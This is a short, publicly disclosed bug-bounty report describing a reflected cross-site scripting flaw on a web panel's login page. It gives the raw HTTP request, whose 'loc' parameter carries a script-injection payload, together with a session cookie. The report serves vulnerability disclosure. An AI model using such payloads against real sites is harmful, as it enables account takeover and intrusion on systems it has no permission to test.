StopTheHacker · Report #9230

XSS 1

Validstatus

7upvotes

18 Jul 2014disclosed

How it was found

Request GET /login/?loc=de"><script>prompt(994787)</script> HTTP/1.1 Referer: https://panel.stopthehacker.com Cookie: sth_panel=9fj5MyELdr2SAJ3yNP5p%2C3 Host: panel.stopthehacker.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36 Accept: /

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original